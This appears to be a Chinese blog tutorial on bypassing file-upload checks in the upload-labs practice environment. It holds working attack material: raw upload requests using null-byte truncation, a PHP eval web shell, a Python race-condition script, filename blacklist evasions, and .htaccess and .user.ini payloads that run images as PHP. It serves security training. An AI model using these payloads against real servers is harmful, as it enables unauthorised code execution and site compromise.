文件上传简单的绕过总结

目录

绕过前端JS校验

修改MIME头

白名单校验

%00截断

00截断

图片马+文件包含漏洞

getimagesize()绕过

exif_imagetype()绕过

二次渲染绕过

条件竞争

黑名单校验

扩展名绕过

大小写绕过

双写绕过

win环境末尾加.绕过

win环境末尾加空格绕过

win环境NTFS数据流绕过

[win环境. . 绕过](#win环境. . 绕过)

上传.htaccess

上传.user.ini

绕过前端JS校验

修改MIME头

白名单校验

%00截断

url文件上传路径可控,且是GET方式如

bash 复制代码
POST /Pass-12/index.php?save_path=../upload/ HTTP/1.1
Host: 192.168.112.1
Content-Length: 317
Cache-Control: max-age=0
Origin: http://192.168.112.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywbRn0IlTa7M4vDez
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36 Edg/140.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.112.1/Pass-12/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close

------WebKitFormBoundarywbRn0IlTa7M4vDez
Content-Disposition: form-data; name="upload_file"; filename="1.php"
Content-Type: application/octet-stream

<?php phpinfo();?>
------WebKitFormBoundarywbRn0IlTa7M4vDez
Content-Disposition: form-data; name="submit"

涓婁紶
------WebKitFormBoundarywbRn0IlTa7M4vDez--

通过将路径写成save_path=../upload/1.php%00,随后请求头参数写成filename=1.jpg,首先1.jpg绕过白名单校验,随后路径拼接并保存为../upload/1.php%001.jpg,但是服务端读取解析时遇到%00会将后面的截断,所以解析的实际上是1.php文件而不是1.php%001.jpg文件。

00截断

url文件上传路径可控,且是POST方式如

bash 复制代码
POST /Pass-13/index.php HTTP/1.1
Host: 192.168.112.1
Content-Length: 423
Cache-Control: max-age=0
Origin: http://192.168.112.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryinAJxRHj968kAgcE
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36 Edg/140.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.112.1/Pass-13/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close

------WebKitFormBoundaryinAJxRHj968kAgcE
Content-Disposition: form-data; name="save_path"

../upload/
------WebKitFormBoundaryinAJxRHj968kAgcE
Content-Disposition: form-data; name="upload_file"; filename="1.php"
Content-Type: application/octet-stream

<?php phpinfo();?>
------WebKitFormBoundaryinAJxRHj968kAgcE
Content-Disposition: form-data; name="submit"

涓婁紶
------WebKitFormBoundaryinAJxRHj968kAgcE--

POST方式,url可控但是在请求体中,文件名也在请求体中,这里我们通过将../upload/写为../upload/1.php+,随后使用十六进制形式将+号的十六进制形式改为00,随后文件名为1.jpg然后放包就可以了,这里为什么不直接拼接%00呢?因为使用POST方式不能对%00进行解码,但是GET方式就可以,这个思路跟%00截断大差不差。

图片马+文件包含漏洞

使用windows的cmd制作图片马

随后配合文件包含漏洞

getimagesize()绕过

可以使用windows制作图片马或者直接在含有恶意php脚本的图片文件前面插入GIF89a

exif_imagetype()绕过

可以使用windows制作图片马或者直接在含有恶意php脚本的图片文件前面插入GIF89a

二次渲染绕过

有些二次渲染会将原本的包含图片马进行损坏,这里可以通过使用010editor编辑一个二次渲染后图片马不会损坏的图片马,这里直接给出一个二次渲染后不会损坏的图片马点击这里,该图片马内容为,随后配合文件包含漏洞打组合拳即可。

php 复制代码
<?php @eval($_POST['zoe']);?>

条件竞争

python脚本(url改成你们自己上传文件后的路径)

python 复制代码
import requests
import threading
import os
 
 
class RaceCondition(threading.Thread):
    def __init__(self):
        threading.Thread.__init__(self)
        self.url = 'http://127.0.0.1/upload-labs/upload/wshell.php'
 
    def _get(self):
        print('try to call uploaded file...')
        r = requests.get(self.url)
        if r.status_code == 200:
            print(r.text)
            os._exit(0)
 
    def run(self):
        while True:
            for i in range(5):
                self._get()
 
            for i in range(10):
                self._get()
 
 
if __name__ == '__main__':
    threads = 50
 
    for i in range(threads):
        t = RaceCondition()
        t.start()
 
    for i in range(threads):
        t.join()

这个脚本的作用是不断访问上传的木马文件1.php,直到访问成功(返回200状态码)时才停止访问。

然后burp爆破无限上传1.php,随后脚本执行,即可能条件竞争成功。

黑名单校验

扩展名绕过

1.php->1.php3

1.php3,1.php4,1.php5,1.php6,1.php7

1.phtml

大小写绕过

1.php->1.PHp

双写绕过

1.php->1.pphphp

win环境末尾加.绕过

1.php->1.php.

win环境末尾加空格绕过

1.php->1.php

win环境NTFS数据流绕过

1.php->1.php::$DATA

win环境. . 绕过

1.php->1.php. .

上传.htaccess

.htaccess文件内容如下

bash 复制代码
AddType application/x-httpd-php .jpg

首先上传1个.htaccess文件,接着上传一个1.jpg文件,文件中包含php恶意代码。

当尝试访问1.jpg文件时,Apache会尝试将它作为php脚本并执行,而不是显示它作为图象文件。

上传.user.ini

.user.ini文件内容如下

bash 复制代码
auto_prepend_file=1.jpg(与自己上传的文件名相同)

先上传.user.ini文件,接着上传一个1.jpg文件,文件中包含php恶意代码。

当尝试访问1.jpg文件时,开启了fastcgi的服务器如(Nginx,Apache)会尝试将它作为php脚本并执行,而不是显示它作为图象文件。

AddType application/x-httpd-php .jpg

auto_prepend_file=1.jpg

相关推荐
阿巴斯甜9 小时前
Android 报错:Zip file '/Users/lyy/develop/repoAndroidLapp/l-app-android-ble/app/bu
android
Kapaseker9 小时前
实战 Compose 中的 IntrinsicSize
android·kotlin
xq952710 小时前
Andorid Google 登录接入文档
android
黄林晴12 小时前
告别 Modifier 地狱,Compose 样式系统要变天了
android·android jetpack
冬奇Lab1 天前
Android触摸事件分发、手势识别与输入优化实战
android·源码阅读
城东米粉儿1 天前
Android MediaPlayer 笔记
android
Jony_1 天前
Android 启动优化方案
android
阿巴斯甜1 天前
Android studio 报错:Cause: error=86, Bad CPU type in executable
android
张小潇1 天前
AOSP15 Input专题InputReader源码分析
android
_小马快跑_1 天前
Kotlin | 协程调度器选择:何时用CoroutineScope配置,何时用launch指定?
android